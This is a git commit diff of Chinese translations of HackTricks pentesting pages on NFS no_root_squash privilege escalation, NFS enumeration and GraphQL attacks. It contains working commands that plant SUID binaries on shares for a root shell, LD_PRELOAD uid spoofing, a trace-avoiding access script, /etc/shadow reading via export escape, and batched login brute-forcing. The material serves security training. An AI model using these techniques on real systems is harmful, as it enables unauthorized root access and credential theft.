mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
a267915c8f
commit
5d27f949f5
@ -1,18 +1,29 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
阅读 _ **/etc/exports** _ 文件,如果你发现某个目录被配置为 **no_root_squash**,那么你可以 **作为客户端访问** 该目录,并 **像本地机器的 root 一样** 在该目录中 **写入**。
|
||||
# Squashing Basic Info
|
||||
|
||||
**no_root_squash**:此选项基本上允许客户端的 root 用户以 root 身份访问 NFS 服务器上的文件。这可能导致严重的安全隐患。
|
||||
NFS 通常(特别是在 Linux 中)会信任连接到文件的客户端指定的 `uid` 和 `gid`(如果未使用 kerberos)。然而,服务器上可以设置一些配置来**改变这种行为**:
|
||||
|
||||
**no_all_squash**:这与 **no_root_squash** 选项类似,但适用于 **非 root 用户**。想象一下,你以 nobody 用户的身份获得一个 shell;检查 /etc/exports 文件;存在 no_all_squash 选项;检查 /etc/passwd 文件;模拟一个非 root 用户;作为该用户创建一个 suid 文件(通过使用 nfs 挂载)。以 nobody 用户身份执行该 suid 文件并成为不同的用户。
|
||||
- **`all_squash`**:它会将所有访问映射到**`nobody`**(65534 无符号 / -2 有符号)。因此,所有人都是 `nobody`,没有用户被使用。
|
||||
- **`root_squash`/`no_all_squash`**:这是 Linux 的默认设置,**仅对 uid 0(root)进行压缩**。因此,任何 `UID` 和 `GID` 都被信任,但 `0` 被压缩为 `nobody`(因此无法进行 root 冒充)。
|
||||
- **`no_root_squash`**:如果启用此配置,甚至不会压缩 root 用户。这意味着如果你以此配置挂载一个目录,你可以作为 root 访问它。
|
||||
|
||||
# 权限提升
|
||||
在 **/etc/exports** 文件中,如果你发现某个目录被配置为 **no_root_squash**,那么你可以**作为客户端访问**它,并**像本地机器的 root 一样在该目录中写入**。
|
||||
|
||||
## 远程利用
|
||||
有关 **NFS** 的更多信息,请查看:
|
||||
|
||||
如果你发现了这个漏洞,你可以利用它:
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
- **在客户端机器上挂载该目录**,并 **以 root 身份复制** /bin/bash 二进制文件到挂载文件夹中,并赋予其 **SUID** 权限,然后 **从受害者** 机器执行该 bash 二进制文件。
|
||||
# Privilege Escalation
|
||||
|
||||
## Remote Exploit
|
||||
|
||||
选项 1 使用 bash:
|
||||
- **在客户端机器上挂载该目录**,并**作为 root 复制** `/bin/bash` 二进制文件到挂载文件夹中,并赋予其 **SUID** 权限,然后**从受害者**机器执行该 bash 二进制文件。
|
||||
- 请注意,要在 NFS 共享中成为 root,**`no_root_squash`** 必须在服务器上配置。
|
||||
- 然而,如果未启用,你可以通过将二进制文件复制到 NFS 共享并以你想要提升的用户身份赋予 SUID 权限来提升到其他用户。
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -25,7 +36,9 @@ chmod +s bash
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
- **在客户端机器上挂载该目录**,并且**以root身份复制**我们编译好的有效载荷到挂载文件夹中,这将滥用SUID权限,赋予其**SUID**权限,并**从受害者**机器执行该二进制文件(您可以在这里找到一些[C SUID有效载荷](payloads-to-execute.md#c))。
|
||||
选项 2 使用 C 编译代码:
|
||||
- **在客户端机器上挂载该目录**,并 **以 root 身份复制** 我们的编译好的有效载荷到挂载文件夹中,该有效载荷将滥用 SUID 权限,赋予其 **SUID** 权限,并 **从受害者** 机器执行该二进制文件(您可以在这里找到一些 [C SUID 有效载荷](payloads-to-execute.md#c))。
|
||||
- 与之前相同的限制
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
@ -39,19 +52,19 @@ chmod +s payload
|
||||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## 本地利用
|
||||
## Local Exploit
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用这种权限提升,隧道所需的端口**。\
|
||||
> 以下技巧适用于文件`/etc/exports`**指示一个IP**的情况。在这种情况下,您**将无法使用**任何情况下的**远程利用**,您需要**利用这个技巧**。\
|
||||
> 另一个使利用有效的必要条件是**`/etc/export`中的导出****必须使用`insecure`标志**。\
|
||||
> 注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用此权限提升,隧道所需的端口**。\
|
||||
> 以下技巧适用于文件`/etc/exports` **指示一个IP**的情况。在这种情况下,您**无论如何都无法使用** **远程利用**,您需要**利用这个技巧**。\
|
||||
> 另一个使利用能够工作的必要条件是**`/etc/export`中的导出** **必须使用`insecure`标志**。\
|
||||
> --_我不确定如果`/etc/export`指示一个IP地址,这个技巧是否有效_--
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
该场景涉及利用本地机器上挂载的NFS共享,利用NFSv3规范中的一个缺陷,该缺陷允许客户端指定其uid/gid,可能导致未经授权的访问。利用涉及使用[libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。
|
||||
该场景涉及在本地机器上利用挂载的NFS共享,利用NFSv3规范中的一个缺陷,该缺陷允许客户端指定其uid/gid,可能导致未经授权的访问。利用涉及使用[libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。
|
||||
|
||||
### 编译库
|
||||
### Compiling the Library
|
||||
|
||||
库的编译步骤可能需要根据内核版本进行调整。在这种特定情况下,fallocate系统调用被注释掉。编译过程涉及以下命令:
|
||||
```bash
|
||||
@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
||||
```
|
||||
### 进行利用
|
||||
|
||||
该利用涉及创建一个简单的 C 程序 (`pwn.c`),该程序提升权限到 root,然后执行一个 shell。程序被编译,生成的二进制文件 (`a.out`) 被放置在具有 suid root 的共享上,使用 `ld_nfs.so` 在 RPC 调用中伪造 uid:
|
||||
利用涉及创建一个简单的 C 程序 (`pwn.c`),该程序提升权限到 root,然后执行一个 shell。程序被编译,生成的二进制文件 (`a.out`) 被放置在具有 suid root 的共享上,使用 `ld_nfs.so` 在 RPC 调用中伪造 uid:
|
||||
|
||||
1. **编译利用代码:**
|
||||
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **将利用放置在共享上并通过伪造 uid 修改其权限:**
|
||||
|
||||
2. **将漏洞放置在共享上并通过伪造 uid 修改其权限:**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **执行利用以获得 root 权限:**
|
||||
3. **执行漏洞利用以获取根权限:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
## Bonus: NFShell for Stealthy File Access
|
||||
|
||||
## 额外内容:NFShell 用于隐秘文件访问
|
||||
|
||||
一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本 (nfsh.py)。该脚本调整 uid 以匹配被访问文件的 uid,从而允许与共享上的文件进行交互而不出现权限问题:
|
||||
一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本(nfsh.py)。该脚本调整 uid 以匹配正在访问的文件的 uid,从而允许在共享上与文件进行交互,而不会出现权限问题:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
@ -108,7 +116,7 @@ uid = get_file_uid(filepath)
|
||||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
像这样运行:
|
||||
运行如下:
|
||||
```bash
|
||||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
|
@ -4,41 +4,82 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**NFS** 是一个为 **客户端/服务器** 设计的系统,使用户能够像访问本地目录中的文件一样,无缝地通过网络访问文件。
|
||||
|
||||
该协议的一个显著特点是缺乏内置的 **身份验证** 或 **授权机制**。相反,授权依赖于 **文件系统信息**,服务器负责将 **客户端提供的用户信息** 准确转换为文件系统所需的 **授权格式**,主要遵循 **UNIX 语法**。
|
||||
|
||||
身份验证通常依赖于 **UNIX `UID`/`GID` 标识符和组成员资格**。然而,由于客户端和服务器之间可能存在 **`UID`/`GID` 映射的不匹配,** 这导致服务器无法进行额外的验证。因此,该协议最适合在 **受信任的网络** 中使用,因为它依赖于这种身份验证方法。
|
||||
**NFS** 是一个为 **客户端/服务器** 设计的系统,使用户能够像访问本地目录中的文件一样,无缝访问网络上的文件。
|
||||
|
||||
**默认端口**:2049/TCP/UDP(版本 4 除外,只需要 TCP 或 UDP)。
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### 认证
|
||||
|
||||
该协议的一个显著特点是通常缺乏内置的 **认证** 或 **授权机制**。相反,授权依赖于 **文件系统信息**,服务器负责将 **客户端提供的用户信息** 准确转换为文件系统所需的 **授权格式**,主要遵循 **UNIX 语法**。
|
||||
|
||||
认证通常依赖于 **UNIX `UID`/`GID` 标识符和组成员资格**。然而,由于客户端和服务器之间可能存在 **`UID`/`GID` 映射的不匹配,** 这带来了挑战,服务器无法进行额外的验证。此外,这些细节由客户端发送并被服务器信任,因此恶意客户端可能会 **冒充其他用户,发送更高权限的 `uid` 和 `gid`。**
|
||||
|
||||
**然而,请注意,默认情况下,使用 NFS 无法冒充 `UID` 0(root)。有关更多信息,请参见压缩部分。**
|
||||
|
||||
#### 主机
|
||||
|
||||
为了更好(或某种程度上)进行授权,您可以指定可以访问 NFS 共享的 **主机**。这可以在 Linux 的 `/etc/exports` 文件中完成。例如:
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
```
|
||||
如您所见,它允许配置特定的 **IP** 或 **主机名** 来访问共享。只有该地址能够访问共享。
|
||||
|
||||
### 版本
|
||||
|
||||
- **NFSv2**: 该版本因其与各种系统的广泛兼容性而受到认可,标志着其在最初操作主要通过UDP进行的重要性。作为系列中**最古老**的版本,它为未来的发展奠定了基础。
|
||||
- **NFSv2**:该版本因其与各种系统的广泛兼容性而受到认可,标志着其在最初操作主要通过 UDP 的重要性。作为系列中 **最古老** 的版本,它为未来的发展奠定了基础。
|
||||
|
||||
- **NFSv3**: NFSv3引入了一系列增强功能,扩展了其前身,支持可变文件大小并提供改进的错误报告机制。尽管有了这些进步,但它在与NFSv2客户端的完全向后兼容性方面仍然存在局限。
|
||||
- **NFSv3**:通过一系列增强功能引入,NFSv3 在其前身的基础上扩展,支持可变文件大小并提供改进的错误报告机制。尽管有了进步,但它在与 NFSv2 客户端的完全向后兼容性方面仍然存在局限。
|
||||
|
||||
- **NFSv4**: NFS系列中的一个里程碑版本,NFSv4带来了旨在现代化网络文件共享的一系列功能。显著的改进包括集成Kerberos以实现**高安全性**、能够穿越防火墙并在不需要端口映射器的情况下通过互联网操作、支持访问控制列表(ACL)以及引入基于状态的操作。其性能增强和状态协议的采用使NFSv4成为网络文件共享技术中的一个重要进展。
|
||||
- **NFSv4**:NFS 系列中的一个里程碑版本,NFSv4 提供了一套旨在现代化网络文件共享的功能。显著的改进包括集成 Kerberos 以实现 **高安全性**,能够穿越防火墙并在不需要端口映射器的情况下通过互联网操作,支持访问控制列表(ACL),以及引入基于状态的操作。其性能增强和采用有状态协议使 NFSv4 成为网络文件共享技术的重要进展。
|
||||
- 请注意,发现支持 Kerberos 认证的 Linux 主机 NFS 是非常奇怪的。
|
||||
|
||||
每个版本的NFS都是为了满足网络环境不断变化的需求而开发的,逐步增强了安全性、兼容性和性能。
|
||||
每个版本的 NFS 都是为了满足网络环境不断变化的需求而开发,逐步增强安全性、兼容性和性能。
|
||||
|
||||
### 压缩
|
||||
|
||||
如前所述,NFS 通常会信任客户端的 `uid` 和 `gid` 来访问文件(如果未使用 Kerberos)。然而,服务器中可以设置一些配置来 **改变这种行为**:
|
||||
|
||||
- **all_squash**:它将所有访问压缩,将每个用户和组映射到 **`nobody`**(65534 无符号 / -2 有符号)。因此,所有人都是 `nobody`,没有用户被使用。
|
||||
- **root_squash/no_all_squash**:这是 Linux 的默认设置,**仅压缩 uid 为 0(root)的访问**。因此,任何 `UID` 和 `GID` 都被信任,但 `0` 被压缩为 `nobody`(因此无法进行 root 冒充)。
|
||||
- **no_root_squash**:如果启用此配置,甚至不会压缩 root 用户。这意味着如果您以此配置挂载目录,您可以作为 root 访问它。
|
||||
|
||||
### 子树检查
|
||||
|
||||
仅在 Linux 上可用。man(5) exports 说:“如果导出文件系统的子目录,但整个文件系统没有导出,则每当 NFS 请求到达时,服务器必须检查访问的文件不仅在适当的文件系统中(这很简单),而且在导出的树中(这更难)。此检查称为子树检查。”
|
||||
|
||||
在 Linux 中,**`subtree_check` 功能默认是禁用的**。
|
||||
|
||||
## 枚举
|
||||
|
||||
### 有用的nmap脚本
|
||||
### Showmount
|
||||
|
||||
这可以用来 **获取 NFSv3 服务器的信息**,例如 **导出** 列表,谁被 **允许访问** 这些导出,以及哪些客户端已连接(如果客户端在未告知服务器的情况下断开连接,这可能不准确)。
|
||||
在 **NFSv4 客户端直接访问 /export** 并尝试从那里访问导出,如果无效或因任何原因未授权则失败。
|
||||
|
||||
如果像 `showmount` 或 Metasploit 模块这样的工具未显示 NFS 端口的信息,则可能是一个不支持版本 3 的 NFSv4 服务器。
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
### 有用的 nmap 脚本
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
nfs-showmount #Like showmount -e
|
||||
nfs-statfs #Disk statistics and info from NFS share
|
||||
```
|
||||
### 有用的 metasploit 模块
|
||||
### 有用的metasploit模块
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Mounting
|
||||
### nfs_analyze
|
||||
|
||||
要知道**哪个文件夹**可以被服务器**挂载**,你可以使用以下命令:
|
||||
这个工具来自 [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling),可以用来从 NFS 服务器获取大量数据,比如 **挂载点**、支持的 NFS 版本、连接的 IP,甚至可以检查是否可以 **从导出中逃逸** 到文件系统中的其他文件夹或 **是否启用了 `no_root_squash`**。
|
||||
|
||||
## Mounting
|
||||
|
||||
要知道服务器 **可用** 的 **哪个文件夹** 供你挂载,你可以询问它:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
@ -53,32 +94,57 @@ mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## 权限
|
||||
## 攻击
|
||||
|
||||
如果你挂载一个包含**仅某些用户可访问的文件或文件夹**的文件夹(通过**UID**)。你可以**本地**创建一个具有该**UID**的用户,并使用该**用户**来**访问**文件/文件夹。
|
||||
### 信任 UID 和 GID
|
||||
|
||||
## NSFShell
|
||||
当然,这里唯一的问题是默认情况下无法模拟 root (`UID` 0)。但是,可以模拟任何其他用户,或者如果启用了 `no_root_squash`,您也可以模拟 root。
|
||||
|
||||
要轻松列出、挂载并更改UID和GID以访问文件,你可以使用[nfsshell](https://github.com/NetDirect/nfsshell)。
|
||||
- 如果您挂载一个仅可由某些用户(通过 **UID**)访问的 **文件或文件夹**。您可以 **在本地** 创建一个具有该 **UID** 的用户,并使用该 **用户** 来 **访问** 文件/文件夹。
|
||||
- 工具 **`fuse_nfs`** 来自 [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling),基本上会始终发送访问文件所需的 UID 和 GID。
|
||||
|
||||
[很好的NFSShell教程。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
### SUID 权限提升
|
||||
|
||||
查看页面:
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### 从导出中逃逸
|
||||
|
||||
在这篇 [精彩文章](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) 中,可以看到可以 **从导出中逃逸以访问文件系统中的其他文件夹**。
|
||||
|
||||
因此,如果一个导出正在导出一个是 **整个文件系统** 的 **子文件夹**,如果 **`subtree_check`** 被禁用,则可以访问导出之外的文件。而且在 Linux 中 **默认情况下是禁用的**。
|
||||
|
||||
例如,如果一个 NFS 服务器正在导出 `/srv/`,而 `/var/` 在同一文件系统中,则可以从 `/var/log/` 读取日志或在 `/var/www/` 中存储 webshell。
|
||||
|
||||
此外,请注意,默认情况下只有 root (0) 用户受到保护,无法被模拟(查看 Squash 部分)。但是,如果一个文件是 **由 root 拥有但组不是 0,则可以访问它**。例如,文件 `/etc/shadow` 由 root 拥有,但组是 `shadow`(在 Debian 上的 gid 42)。因此,默认情况下可以读取它!
|
||||
|
||||
工具 **`nfs_analyze`** 来自 [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) 是为了支持针对 ext4、xfs、btrfs 文件系统的此攻击而构建的,版本为 3(在 v4 中也应该可以)。
|
||||
|
||||
### NSFShell
|
||||
|
||||
要轻松列出、挂载并更改 UID 和 GID 以访问文件,您可以使用 [nfsshell](https://github.com/NetDirect/nfsshell)。
|
||||
|
||||
[很好的 NFSShell 教程。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## 配置文件
|
||||
```
|
||||
/etc/exports
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
### 危险设置
|
||||
## 危险设置
|
||||
|
||||
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入。考虑授予如此广泛访问的影响是至关重要的。
|
||||
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入。考虑授予如此广泛访问权限的影响至关重要。
|
||||
|
||||
- **使用不安全端口 (`insecure`):** 启用后,系统可以使用1024以上的端口。此范围以上端口的安全性可能较低,增加风险。
|
||||
- **使用不安全端口 (`insecure`):** 启用后,系统可以使用1024以上的端口。此范围以上的端口安全性可能较低,增加风险。
|
||||
|
||||
- **嵌套文件系统的可见性 (`nohide`):** 此配置使目录可见,即使在导出目录下挂载了另一个文件系统。每个目录需要自己的导出条目以便于管理。
|
||||
|
||||
- **根文件所有权 (`no_root_squash`):** 使用此设置,根用户创建的文件保持其原始UID/GID为0,忽视最小权限原则,可能授予过多权限。
|
||||
|
||||
- **所有用户不压缩 (`no_all_squash`):** 此选项确保用户身份在系统中得以保留,如果处理不当,可能导致权限和访问控制问题。
|
||||
- **不压缩所有用户 (`no_all_squash`):** 此选项确保用户身份在系统中得以保留,如果处理不当,可能导致权限和访问控制问题。
|
||||
|
||||
## 利用NFS错误配置进行权限提升
|
||||
|
||||
|
@ -8,7 +8,7 @@ GraphQL 被 **强调** 为 REST API 的 **高效替代方案**,提供了一种
|
||||
|
||||
## GraphQL 和安全性
|
||||
|
||||
随着新技术的出现,包括 GraphQL,新的安全漏洞也随之出现。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证,GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。
|
||||
随着包括 GraphQL 在内的新技术的出现,新安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证,GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。
|
||||
|
||||
### 目录暴力攻击和 GraphQL
|
||||
|
||||
@ -27,7 +27,7 @@ GraphQL 被 **强调** 为 REST API 的 **高效替代方案**,提供了一种
|
||||
|
||||
### 指纹识别
|
||||
|
||||
工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有帮助的信息。
|
||||
工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有用的信息。
|
||||
|
||||
#### 通用查询 <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
@ -39,9 +39,9 @@ query{__typename}
|
||||
|
||||
Graphql 通常支持 **GET**、**POST** (x-www-form-urlencoded) 和 **POST**(json)。虽然出于安全考虑,建议仅允许 json 以防止 CSRF 攻击。
|
||||
|
||||
#### 反向查询
|
||||
#### 反向工程
|
||||
|
||||
要使用反向查询发现架构信息,请查询 `__schema` 字段。该字段在所有查询的根类型上可用。
|
||||
要使用反向工程发现架构信息,请查询 `__schema` 字段。该字段在所有查询的根类型上可用。
|
||||
```bash
|
||||
query={__schema{types{name,fields{name}}}}
|
||||
```
|
||||
@ -180,7 +180,7 @@ name
|
||||
|
||||
.png>)
|
||||
|
||||
您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后,您可以使用查询获取所有标志的名称和值:
|
||||
您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后,您可以使用以下查询获取所有标志的名称和值:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
@ -202,9 +202,9 @@ query = { hiddenFlags }
|
||||
.png>)
|
||||
|
||||
看起来它会使用类型为 _**Int**_ 的 "_**uid**_" 参数进行搜索。\
|
||||
无论如何,我们已经知道,在 [Basic Enumeration](graphql.md#basic-enumeration) 部分提出了一个查询,显示了所有所需的信息:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
无论如何,我们已经知道,在 [Basic Enumeration](graphql.md#basic-enumeration) 部分,提出了一个查询,显示了所有所需的信息:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
如果你阅读提供的图像,当我运行该查询时,你会看到 "_**user**_" 有类型为 _Int_ 的 **arg** "_**uid**_"。
|
||||
如果你阅读提供的图像,当我运行该查询时,你会看到 "_**user**_" 有一个类型为 _Int_ 的 **arg** "_**uid**_"。
|
||||
|
||||
因此,通过一些轻量级的 _**uid**_ 暴力破解,我发现 _**uid**=**1** 时检索到了一个用户名和密码:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
@ -219,7 +219,7 @@ query = { hiddenFlags }
|
||||
|
||||
**查询字符串转储技巧(感谢 @BinaryShadow\_)**
|
||||
|
||||
如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_)。
|
||||
如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_).
|
||||
|
||||
### 搜索
|
||||
|
||||
@ -233,7 +233,7 @@ email
|
||||
}
|
||||
}
|
||||
```
|
||||
您可以通过**姓名**搜索人员并获取他们**订阅**的**电影**:
|
||||
您可以**搜索**人员**通过**姓名并获取他们**订阅的**电影:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
@ -250,7 +250,7 @@ name
|
||||
```
|
||||
注意如何指示检索该人的 `subscribedMovies` 的 `name`。
|
||||
|
||||
您还可以**同时搜索多个对象**。在这种情况下,搜索了 2 部电影:
|
||||
您还可以 **同时搜索多个对象**。在这种情况下,搜索了 2 部电影:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
@ -258,7 +258,7 @@ name
|
||||
}
|
||||
}r
|
||||
```
|
||||
或者甚至**使用别名的多个不同对象的关系**:
|
||||
或者甚至是 **使用别名的多个不同对象的关系**:
|
||||
```javascript
|
||||
{
|
||||
johnsMovieList: searchPerson(name: "John Doe") {
|
||||
@ -285,7 +285,7 @@ name
|
||||
|
||||
**变更用于在服务器端进行更改。**
|
||||
|
||||
在 **introspection** 中可以找到 **声明的** **变更**。在下图中,"_MutationType_" 被称为 "_Mutation_",而 "_Mutation_" 对象包含变更的名称(在本例中为 "_addPerson_"):
|
||||
在 **introspection** 中,您可以找到 **声明的** **变更**。在下图中,"_MutationType_" 被称为 "_Mutation_",而 "_Mutation_" 对象包含变更的名称(在本例中为 "_addPerson_"):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -334,12 +334,12 @@ releaseYear
|
||||
```
|
||||
### 指令重载
|
||||
|
||||
正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的,指令重载意味着调用指令甚至数百万次,以使服务器浪费操作,直到可能导致拒绝服务(DoS)。
|
||||
正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的,指令重载意味着调用指令甚至数百万次,以使服务器浪费操作,直到可能发生DoS攻击。
|
||||
|
||||
### 在1个API请求中批量暴力破解
|
||||
|
||||
此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\
|
||||
通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。
|
||||
通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。
|
||||
|
||||
下面是一个应用程序身份验证请求的最简单演示,**一次有3个不同的电子邮件/密码对**。显然,可以以相同的方式在单个请求中发送数千个:
|
||||
|
||||
@ -353,7 +353,7 @@ releaseYear
|
||||
|
||||
越来越多的**graphql端点正在禁用自省**。然而,当收到意外请求时,graphql抛出的错误足以让像[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)这样的工具重建大部分架构。
|
||||
|
||||
此外,Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail) **观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL **架构**,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时,该扩展返回一个假响应。因此,GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息,[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
此外,Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL**架构**,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时,该扩展返回一个假响应。因此,GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息,[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
|
||||
一个很好的**词表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||
|
||||
@ -371,7 +371,7 @@ releaseYear
|
||||
|
||||
### 尝试 WebSockets
|
||||
|
||||
正如在 [**这个演讲**](https://www.youtube.com/watch?v=tIo_t5uUK50) 中提到的,检查是否可以通过 WebSockets 连接到 graphQL,因为这可能允许您绕过潜在的 WAF,并使 websocket 通信泄露 graphQL 的架构:
|
||||
如 [**此演讲**](https://www.youtube.com/watch?v=tIo_t5uUK50) 中提到的,检查是否可以通过 WebSockets 连接到 graphQL,因为这可能允许您绕过潜在的 WAF,并使 websocket 通信泄露 graphQL 的架构:
|
||||
```javascript
|
||||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
|
||||
ws.onopen = function start(event) {
|
||||
@ -397,23 +397,23 @@ ws.send(JSON.stringify(graphqlMsg))
|
||||
```
|
||||
### **发现暴露的 GraphQL 结构**
|
||||
|
||||
当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露敏感查询**。在开发者工具中搜索的命令是:
|
||||
当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露的敏感查询**。在开发者工具中搜索的命令是:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
